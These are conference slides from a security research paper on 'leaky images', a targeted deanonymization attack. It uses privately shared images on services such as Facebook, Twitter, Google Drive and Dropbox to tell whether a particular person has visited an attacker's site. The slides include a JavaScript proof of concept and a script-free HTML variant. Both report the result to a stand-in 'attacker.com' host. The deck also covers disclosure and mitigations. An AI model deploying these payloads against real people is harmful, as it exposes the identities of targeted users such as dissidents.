Leaky Images: Targeted Privacy Attacks in the Web

Cristian-Alexandru Staicu, TU Darmstadt
Michael Pradel, TU Darmstadt/University of Stuttgart
Has John Visited My Site?

Goal: Precisely identify a visitor of an attacker-controlled site

■ Does a celebrity visit a questionable site?
■ Does a suspected criminal visit an illegal site?
■ Does a political dissident access content forbidden by an oppressive regime?
■ Which reviewer accesses the additional material?
Targeted deanonymization attack

- Attack a single victim
- Attack a group of people
- Pseudonym linking attack
- Scriptless variant of the attack

Top websites are affected

- E.g., Facebook, Google, Twitter, and Dropbox
Basic Idea of Leaky Images Attack

Attacker

Website

Victim

Other users
Basic Idea of Leaky Images Attack

Attacker

Website

Visit

Visit

Victim

Other users
Basic Idea of Leaky Images Attack

Attacker

Website

IP, browser fingerprint

Visit

Other users

Visit

Victim
Basic Idea of Leaky Images Attack

Attacker

Website

Share image

Image sharing service

Victim

Other users
Basic Idea of Leaky Images Attack

Attacker → Share image → Victim

Website
Any site that allows sharing images with specific users, e.g., Facebook, Twitter, Google, or Dropbox

Other users
Basic Idea of Leaky Images Attack

**Attacker**
- Website
- Visit Other users
- Visit Image sharing service

**Victim**
Basic Idea of Leaky Images Attack

Attacker

Website

Request image

Victim

Image sharing service

Visit

Other users

Visit
Basic Idea of Leaky Images Attack

Attacker Website

Other users

Visit

Request image

Image sharing service

Victim
Basic Idea of Leaky Images Attack

Attacker

Image loaded:
Victim was here
Website

Visit

Request image

Image sharing service

Other users

Victim
Basic Idea of Leaky Images Attack

Attacker

Website

Request image

Image sharing service

Victim

Other users

Visit
Basic Idea of Leaky Images Attack

Attacker

Website

Image not loaded: Other user

Request image

Visit

Other users

Victim

Image sharing service

Other user

Request image

Visit
Example of Attack

Implementation in JavaScript:

```html
<script>
    window.onload = function() {
        var img = document.getElementById("myPic");
        img.src = "https://sharing.com/leakyImg.png";
        img.onload = function() {
            httpReq("attacker.com", "is the victim");
        }
        img.onerror = function() {
            httpReq("attacker.com", "not the victim");
        }
    }
</script>
<img id="myPic">
```
Example of Attack

Implementation in JavaScript:

```html
<script>
window.onload = function() {
    var img = document.getElementById("myPic");
    img.src = "https://sharing.com/leakyImg.png";
    img.onload = function() {
        httpReq("attacker.com", "is the victim");
    }
    img.onerror = function() {
        httpReq("attacker.com", "not the victim");
    }
}
</script>
<img id="myPic">
```

Try to load the privately shared image
Example of Attack

Implementation in JavaScript:

```html
<script>
    window.onload = function() {
        var img = document.getElementById("myPic");
        img.src = "https://sharing.com/leakyImg.png";
        img.onload = function() {
            httpReq("attacker.com", "is the victim");
        }
        img.onerror = function() {
            httpReq("attacker.com", "not the victim");
        }
    }
</script>
<img id="myPic">

Send to server whether image could be loaded
Image Sharing in the Web

Various sites allow sharing images with specific users

- E.g., via shared files, private messages, or posts visible to specific users

Implemented through

- Authentication, typically via cookies
- Secret URLs
<table>
<thead>
<tr>
<th>Four Conditions for Leaky Images</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>Attacker and victim:</strong> Users of <strong>same image sharing service</strong></td>
</tr>
<tr>
<td><strong>Victim visits site while logged into image sharing service</strong></td>
</tr>
</tbody>
</table>
Four Conditions for Leaky Images

Attacker and victim: Users of same image sharing service

Attacker can share image with victim

Victim visits site while logged into image sharing service

Image sharing service uses cookie-based authentication
Four Conditions for Leaky Images

Attacker and victim:
Users of same image sharing service

Attacker can share image with victim

Victim visits site while logged into image sharing service

Image sharing service uses cookie-based authentication
Four Conditions for Leaky Images

Attacker and victim: Users of same image sharing service

Attacker can share image with victim

Victim visits site while logged into image sharing service

Image sharing service uses cookie-based authentication
Four Conditions for Leaky Images

Attacker and victim: Users of same image sharing service

Attacker can share image with victim

Victim visits site while logged into image sharing service

Image sharing service uses cookie-based authentication
Attacking a Group of Users

Naive approach:
Share **one image with each user**

- Requires $\mathcal{O}(n)$ images and requests
Attacking a Group of Users

Share images with subsets of users

- $O(\log(n))$ images and requests

Request $i_1$

Request $i_2$

Request $i_3$

$u_1$ $u_2$ $u_3$ $u_4$ $u_5$ $u_6$ $u_7$ Other user
Pseudonym Linking Attack

Do two accounts belong to the same user?

- Given: Two accounts at different image sharing services
- Perform two leaky images attacks in parallel
- If both requests succeed: Same user
Scriptless Version of the Attack

HTML-only leaky images attack

<object data="sharing.com/img.png">
  <object data="attacker.com?info=not_victim?sid=2342"/>
</object>

<object data="sharing.com/invalidImg.png">
  <object data="sharing.com/invalidImg2.png">
    <object data="sharing.com/invalidImg3.png">
      <object data="attacker.com?info=loaded?sid=2342"/>
    </object>
  </object>
</object>
Scriptless Version of the Attack

HTML-only leaky images attack

```html
<object data="sharing.com/img.png">
  <object data="attacker.com?info=not_victim?sid=2342"/>
</object>

<object data="sharing.com/invalidImg.png">
  <object data="sharing.com/invalidImg2.png">
    <object data="sharing.com/invalidImg3.png">
      <object data="attacker.com?info=loaded?sid=2342"/>
    </object>
  </object>
</object>

object tag provides a logical “if not”
Scriptless Version of the Attack

HTML-only leaky images attack

```html
<object data="sharing.com/img.png">
  <object data="attacker.com?info=not_victim?sid=2342"/>
</object>

<object data="sharing.com/invalidImg.png">
  <object data="sharing.com/invalidImg2.png">
    <object data="sharing.com/invalidImg3.png">
      <object data="attacker.com?info=loaded?sid=2342"/>
    </object>
  </object>
</object>

Notify server that entire page has loaded
```
Scriptless Version of the Attack

HTML-only leaky images attack

```html
<object data="sharing.com/img.png">
  <object data="attacker.com?info=not_victim?sid=2342"/>
</object>

<object data="sharing.com/invalidImg.png">
  <object data="sharing.com/invalidImg2.png">
    <object data="sharing.com/invalidImg3.png">
      <object data="attacker.com?info=loaded?sid=2342"/>
    </object>
  </object>
</object>
</object>
```

Server-generated session ID
Leaky Images in Practice

- **Study of 30 popular image sharing services**
  - Facebook, Twitter, Google, YouTube, Instagram, LinkedIn, Pinterest, etc.

- **For each site**
  - Create multiple accounts
  - Find ways to share images
  - Check if suitable for leaky images attack
# Vulnerable Sites

## 8 of 30 most popular sites are vulnerable

<table>
<thead>
<tr>
<th>Sharing mechanism</th>
<th>Prerequisite</th>
</tr>
</thead>
<tbody>
<tr>
<td>Image sharing on Facebook</td>
<td>Be friends</td>
</tr>
<tr>
<td>Private message on Twitter</td>
<td>Can exchange messages</td>
</tr>
<tr>
<td>Shared file on Google Drive</td>
<td>None</td>
</tr>
<tr>
<td>Shared file on Dropbox</td>
<td>None</td>
</tr>
<tr>
<td>Shared folder on Microsoft OneDrive</td>
<td>None</td>
</tr>
</tbody>
</table>

# Vulnerable Sites

8 of 30 most popular sites are **vulnerable**

<table>
<thead>
<tr>
<th>Sharing mechanism</th>
<th>Prerequisite</th>
</tr>
</thead>
<tbody>
<tr>
<td>Image sharing on Facebook</td>
<td>Be friends</td>
</tr>
<tr>
<td>Private message on Twitter</td>
<td>Can exchange messages</td>
</tr>
<tr>
<td>Shared file on Google Drive</td>
<td>None</td>
</tr>
<tr>
<td>Shared file on Dropbox</td>
<td>None</td>
</tr>
<tr>
<td>Shared folder on Microsoft OneDrive</td>
<td>None</td>
</tr>
</tbody>
</table>
Responsible Disclosure

- Notified image sharing services in March 2018
- At least 6 out of 8 services have fixed or decided to fix the issue
- Received bug bounties by 3 services
Example: Twitter

Before March 2018:

- Every shared image is a leaky image
- Can share if “follower” or if “direct messages” enabled

After fixing the issue:

- Cookie-based authentication disabled for images
  - Instead: Secret image URLs
- Ask users before rendering images from strangers
Mitigations

Server-side

- Disable authenticated image requests
- User-specific links for shared images
- Deploy mitigations proposed against CSRF

Client-side

- Tor: Send cookies only to domain in address bar

Privacy control for users

- Let users see and control access rights to images
Conclusion

- **Leaky images:** Targeted deanonymization attack
  - Attack single user or group of users
  - Link pseudonyms
  - Scriptless variant works without JS and CSS
- Affects *sites used by billions of users*
- Website providers and browser vendors should be aware of it